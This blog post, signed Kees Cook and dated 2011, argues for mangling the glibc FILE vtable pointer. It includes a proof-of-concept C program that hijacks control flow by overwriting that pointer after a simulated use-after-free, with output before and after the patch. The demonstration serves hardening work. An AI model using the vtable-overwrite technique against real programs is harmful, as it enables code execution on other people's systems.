When attacking a process, one interesting target on the heap is the
FILE
structure used with stream functions (
fopen()
,
fread()
,
fclose()
, etc) in glibc. Most of the
FILE
structure (struct _IO_FILE
internally) is pointers to the various memory buffers used for the stream, flags, etc. What s interesting is that this isn t actually the entire structure. When a new
FILE
structure is allocated and its pointer returned from
fopen()
, glibc has actually allocated an internal structure called
struct _IO_FILE_plus
, which contains
struct _IO_FILE
and a pointer to
struct _IO_jump_t
, which in turn contains a list of pointers for all the functions attached to the
FILE
. This is its vtable, which, just like
C++ vtables, is used whenever any stream function is called with the
FILE
. So on the heap, we have:
In the face of
use-after-free,
heap overflows, or arbitrary memory write vulnerabilities, this vtable pointer is an interesting target, and, much like the pointers found in
setjmp()
/longjmp()
,
atexit()
, etc, could be used to gain control of execution flow in a program. Some time ago, glibc introduced
PTR_MANGLE
/PTR_DEMANGLE
to protect these latter functions, but until now hasn t protected the FILE structure in the same way.
I m hoping to change this, and have
introduced a patch to use
PTR_MANGLE
on the vtable pointer. Hopefully I haven t overlooked something, since I d really like to see this get in.
FILE
structure usage is a fair bit more common than
setjmp()
and
atexit()
usage. :)
Here s a quick exploit demonstration in a trivial use-after-free scenario:
#include <stdio.h>
#include <stdlib.h>
void pwn(void)
printf("Dave, my mind is going.\n");
fflush(stdout);
void * funcs[] =
NULL, // "extra word"
NULL, // DUMMY
exit, // finish
NULL, // overflow
NULL, // underflow
NULL, // uflow
NULL, // pbackfail
NULL, // xsputn
NULL, // xsgetn
NULL, // seekoff
NULL, // seekpos
NULL, // setbuf
NULL, // sync
NULL, // doallocate
NULL, // read
NULL, // write
NULL, // seek
pwn, // close
NULL, // stat
NULL, // showmanyc
NULL, // imbue
;
int main(int argc, char * argv[])
FILE *fp;
unsigned char *str;
printf("sizeof(FILE): 0x%x\n", sizeof(FILE));
/* Allocate and free enough for a FILE plus a pointer. */
str = malloc(sizeof(FILE) + sizeof(void *));
printf("freeing %p\n", str);
free(str);
/* Open a file, observe it ended up at previous location. */
if (!(fp = fopen("/dev/null", "r")))
perror("fopen");
return 1;
printf("FILE got %p\n", fp);
printf("_IO_jump_t @ %p is 0x%08lx\n",
str + sizeof(FILE), *(unsigned long*)(str + sizeof(FILE)));
/* Overwrite vtable pointer. */
*(unsigned long*)(str + sizeof(FILE)) = (unsigned long)funcs;
printf("_IO_jump_t @ %p now 0x%08lx\n",
str + sizeof(FILE), *(unsigned long*)(str + sizeof(FILE)));
/* Trigger call to pwn(). */
fclose(fp);
return 0;
Before the patch:
$ ./mini
sizeof(FILE): 0x94
freeing 0x9846008
FILE got 0x9846008
_IO_jump_t @ 0x984609c is 0xf7796aa0
_IO_jump_t @ 0x984609c now 0x0804a060
Dave, my mind is going.
After the patch:
$ ./mini
sizeof(FILE): 0x94
freeing 0x9846008
FILE got 0x9846008
_IO_jump_t @ 0x984609c is 0x3a4125f8
_IO_jump_t @ 0x984609c now 0x0804a060
Segmentation fault
Astute readers will note that this demonstration takes advantage of another characteristic of glibc, which is that its malloc system is unrandomized, allowing an attacker to be able to determine where various structures will end up in the heap relative to each other. I d like to see this fixed too, but it ll require more time to study. :)
2011, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.